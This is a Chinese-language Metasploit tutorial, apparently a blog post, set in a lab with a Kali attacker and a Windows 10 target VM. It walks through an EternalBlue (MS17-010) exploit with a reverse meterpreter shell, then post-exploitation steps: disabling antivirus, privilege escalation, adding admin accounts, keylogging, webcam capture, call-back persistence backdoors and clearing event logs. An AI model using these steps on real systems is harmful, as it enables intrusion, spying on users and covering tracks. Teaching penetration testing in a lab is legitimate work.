MSF使用教程
一、实验环境:
靶 机: windows10虚拟机:
192.168.100.158
攻击机: kali虚拟机:192.168.100.132
二、简介:
Metasploit Framework(MSF)
是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
三、Metasploit的安装和更新升级:
1. 一键安装MSF:
在一般的linux中,默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。
所需命令:
1 | #一键安装MSF: |
2. MSF的更新升级:
2.1 非kali环境下更新升级MSF:
命令:
1 | msfupdate #MSF后期更新升级 |
2.2 kali环境下更新升级MSF:
由于kali中的Metasploit渗透测试框架是集成在系统中的,不是单独安装,不支持使用
msfupdate
命令更新,更新的话需要随系统程序更新。
使用msfupdate命令会出现下面的情况:
1 | ┌──(root💀kali)-[~/桌面] |
在kali中更新MSF使用以下命令:
1 | apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告) |
使用上面命令,是在更新系统程序的同时,把MSF更新。
四、使用方法:
1. 基础使用:
1 | msfconsole #进入框架 |
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。
我们也可以将攻击代码写入configure.rc
(只要是以.rc
结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc
进行自动攻击!
2. MSF
中加载自定义的exploit模块
:
点击进入参考文章:CVE-2019-0708 远程桌面漏洞复现,该文中介绍了如果加载自定义的exploit模块并且成功攻击。
3. 漏洞利用(exploit):
漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
1 | /usr/share/metasploit-framework/modules/exploits |
进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用:
进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。
4. 攻击载荷(payload):
Payload
:Payload
中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Shellcode
:Shellcode
是payload
中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode
通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode
这一组指令之后,才会提供一个命令行shell
。
4.1 payload模块路径::
1 | /usr/share/metasploit-framework/modules/payloads |
4.2 Metasploit中的 Payload 模块主要有以下三种类型:
Single
:
是一种完全独立
的Payload
,而且使用起来就像运行calc.exe
一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload
是完全独立的,因此它们有可能会被类似netcat
这样的非metasploit
处理工具所捕捉到。
Stager
:
这种Payload
负责建立目标用户与攻击者之间的网络连接
,并下载额外的组件或应用程序。一种常见的Stager Payload
就是reverse_tcp
,它可以让目标系统与攻击者建立一条
tcp
连接
,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp
,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)
。
Stage
:
是Stager Payload
下的一种Payload组件
,这种Payload可以提供更加高级的功能,而且没有大小限制。
在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:
1 | #Single Payload的格式为: |
-
当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:
-
注:
在这个列表中,像windows/powershell_bind_tc
p 就是一个Single Payload
,它不包含Stage Payload
。
而windows/meterpreter/reverse_tcp
则由一个Stage Payload(meterpreter)
和 一个Stager Payload(reverse_tcp
组成。
Stager中几种常见的payload:1
2
3
4
5windows/meterpreter/bind_tcp #正向连接
windows/meterpreter/reverse_tcp #反向连接,常用
windows/meterpreter/reverse_http #通过监听80端口反向连接
windows/meterpreter/reverse_https #通过监听443端口反向连接
1234正向连接使用场景
:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。反向连接使用场景
:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。反向连接80和443端口使用场景
:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
5. Meterpreter:
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
5.1 Meterpreter是如何工作的?:
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
5.2 Meterpreter的特点:
Meterpreter
完全驻留在内存,没有写入到磁盘。Meterpreter
注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。- 默认情况下,
Meterpreter
的通信是加密的,所以很安全。- 扩展性,许多新的特征模块可以被加载。
我们在设置payloads
时,可以将payloads
设置为:windows/meterpreter/reverse_tcp
,然后获得了meterpreter>
之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!
6. MS17_010(永恒之蓝):
我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。
6.1 查找漏洞相关模块:
1、在kali命令行里面输入命令msfconsole,进入msf框架中:
1 | msfconsole #输入这个命令主要是进入msf渗透框架中 |
2、搜索MS17_010漏洞:
命令:
1 | search ms17_010 #利用search命令,搜索漏洞相关利用模块 |
这里找到了四个模块,前三个是漏洞利用模块,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。
6.2 利用Auxiliary辅助探测模块
对漏洞进行探测:
Auxiliary辅助探测模块
:
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测:
命令:
1 | use auxiliary/scanner/smb/smb_ms17_010 |
2、查看这个模块需要配置的信息:
命令:
1 | show options #查看这个模块需要配置的信息 |
3、设置要探测的远程目标:
注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
命令:
1 | set rhosts 192.168.100.100-192.168.100.190 |
4、对上面设置的ip范围内的主机进行攻击:
注:有+号的就是可能存在漏洞的主机,这里有2个主机存在漏洞
命令:
1 | exploit |
6.3 使用Exploit漏洞利用模块
对漏洞进行利用:
1、选择漏洞攻击模块,对漏洞进行利用:
命令:
1 | use exploit/windows/smb/ms17_010_eternalblue |
2、查看这个漏洞的信息:
命令:
1 | info: #查看这个漏洞的信息 |
3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统:
命令:
1 | show targets |
注:这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。
6.4 Payload攻击载荷模块:
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
1、查看攻击载荷:
命令:
1 | show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload |
2、设置攻击载荷:
命令:
1 | set payload windows/x64/meterpreter/reverse_tcp |
3、查看模块需要配置的参数:
命令:
1 | show options |
4、设置攻击载荷参数:
命令:
1 | set RHOST 192.168.100.158 #设置RHOST,也就是要攻击主机的ip |
5、进行攻击:
7. 后渗透阶段:
运行了exploit命令
之后,我们开启了一个reverse TCP监听器
来监听本地的6666
端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter >
出现:
Meterpreter的命令用法:
1 | Meterpreter > ? |
我们输入: shell
即可切换到目标主机的windows cmd_shell
里面:
命令:
1 | shell #获取目标主机的cmd_shell权限 |
要想从目标主机shell退出到meterpreter
,我们只需输入:exit
:
从meterpreter
退出到MSF框架
:
命令:
1 | background #把我们获得的meterpreter会话挂载到后台运行 |
查看前面获得的meterpreter_shell
会话,最前面的数字是会话的id:
命令:
1 | sessions -l #查看获得的meterpreter_shell会话列表 |
输入sessions [id号]即可进入相应的meterpreter_shell
中:
输入:shell即可进入 cmd 类型的控制,再输入:powershell,即可进入 powershell 类型的控制台:
1 | sysinfo #查看目标主机系统信息 |
7.1 Post 后渗透模块:
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
1 | run post/windows/manage/migrate #自动进程迁移 |
输入:sysinfo 查看目标主机的信息:
7.2 查看主机是否运行在虚拟机上:
查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境:
命令:
1 | run post/windows/gather/checkvm |
7.3 关闭杀毒软件:
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:
1 | run killav |
7.4 获取目标主机的详细信息:
使用命令:
1 | run scraper |
它将目标机器上的常见信息收集起来然后下载保存在本地
7.5 访问文件系统:
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
1 | pwd #查看当前目录 |
7.6 上传/下载文件:
7.6.1 下载文件:
命令:
1 | download file #命令可以帮助我们从目标系统中下载文件 |
7.6.2 上传文件:
命令:
1 | upload file #命令则能够向目标系统上传文件。 |
7.7 权限提升:
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。
命令:
1 | getuid |
注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
7.8 获取用户密码:
7.9 运行程序:
先查看目标主机安装了哪些应用:
命令:
1 | run post/windows/gather/enum_applications #查看目标主机安装了哪些应用 |
在meterpreter_shell命令行执行目标系统中的应用程序:
命令:
1 | #execute命令用法: |
7.11 屏幕截图:
1、截图目标主机屏幕,可以看到,图片被保存到了/root/桌面/
目录下:
命令:
1 | screenshot #截图目标主机屏幕 |
2、目标主机的屏幕截图如下:
7.12 创建一个新账号:
先查看目标主机有哪些用户:
命令:
1 | run post/windows/gather/enum_logged_on_users #查看目标主机有用户 |
在目标系统中创建一个新的用户账号的方法一:
命令:
1 | run getgui -u 用户 -p 密码 |
注:这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。这里成功创建了用户,但是添加到Administrators组中失败了!
如果添加到Administrators组中失败了的话,我们可以运行:shell ,进入cmd窗口手动将该用户添加到administrators组中。
在目标系统中创建一个新的用户账号的方法二:
命令:
1 | enable_rdp脚本: |
7.13 启用远程桌面:
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:run post/windows/manage/enable_rdp
命令可以开启远程桌面。
在开启远程桌面会话之前,我们还需要使用idletime命令
检查远程用户的空闲时长:
1 | idletime #检查远程用户的空闲时长 |
开启远程桌面:
命令:
1 | run post/windows/manage/enable_rdp |
然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中,所以这一步就没法演示。
7.14 键盘记录:
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
1 | keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看; |
注:在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。
7.15 进程迁移:
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter
跟 winlogon.exe
绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用:ps
命令查看目标设备中运行的进程:
我们可以使用:getpid
查看我们当前的进程id:
使用:migrate
+目标进程ID
命令来绑定目标进程id,可以看到通过进程迁移后,当前的Meterpreter
的pid
已经和 winlogon.exe
一样了:
这里绑定目标pid的时候,经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程,没有关闭可使用 kill pid
命令关闭进程。
或者使用自动迁移进程(run post/windows/manage/migrate
)命令,系统会自动寻找合适的进程然后迁移。
7.16 禁止目标主机使用键盘鼠标:
命令:
1 | uictl disable(enable) keyboard #禁止(允许)目标使用键盘 |
7.17 用目标主机摄像头拍照:
1 | webcam_list #获取目标系统的摄像头列表 |
获取目标系统的摄像头列表,可以看到目标主机有一个摄像头:
可以指定的摄像头拍摄照片,可以看到已经获得从目标主机拍摄到的照片:
开启摄像头拍摄视频,会弹出一个网页,可以查看到摄像头那端的实时录像:
7.18 常用扩展库介绍:
meterpreter中不仅有基本命令还有很多扩展库,下面就介绍一下常用的扩展库的查看方法。
7.18.1 load/use命令:
1 | load/use #加载模块 |
输入命令:load -l
会列出所有可用的扩展:
输入load
后,双击Tab键
列出可用扩展:
7.18.2 run命令:
1 | run #执行一个已有的模块 |
run+双击Tab键
,会列出所有的已有的脚本:
注:这里输入run后,双击Tab键列出所有的已有的脚本;
7.19 生成持续性后门:
因为
meterpreter
是基于内存DLL
建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence)
,一种是通过服务启动(metsvc)
7.19.1 启动项启动:
启动项启动的话,我们先生成一个后门木马。
点击进入:用MSF生成一个后门木马!
然后放到windows的启动目录
中:
1 | C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
7.19.2 服务启动:
通过服务启动,我们可以运行命令:
1 | run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 #自动连接192.168.100.158的8888端口,缺点是容易被杀毒软件查杀 |
我们在被攻击机可以看到这个文件,是一个VBScript脚本:
查看靶机的端口连接情况,可以看到靶机连着我们的8888端口:
7.20 设置Socks代理:
7.21 portfwd端口转发:
portfwd是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下:
1 | portfwd add -l 9999 -r 192.168.100.158 -p 3389 |
然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了:
1 | rdesktop 127.0.0.1:9999 |
如果不想继续连接的话,可以删除当前建立的连接,执行以下命令:
1 | portfwd delet -l 9999 -r 192.168.100.158 -p 3389 |
7.22 清除事件日志:
完成攻击操作之后,千万别忘了"打扫战场"。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用以下命令来清除事件日志:
1 | clearev #清除事件日志 |
8. 导入并执行PowerShell脚本:
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户:
1 | load powershell #加载powershell功能 |
9. 加载stdapi:
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。
10. 升级Session:
有时候,当我们收到的不是 meterpreter 类型的 session 的话,可能不好操作。我们可以执行命令 sessions -u id 来升级session。执行该命令,默认调用的是 post/multi/manage/shell_to_meterpreter 模块。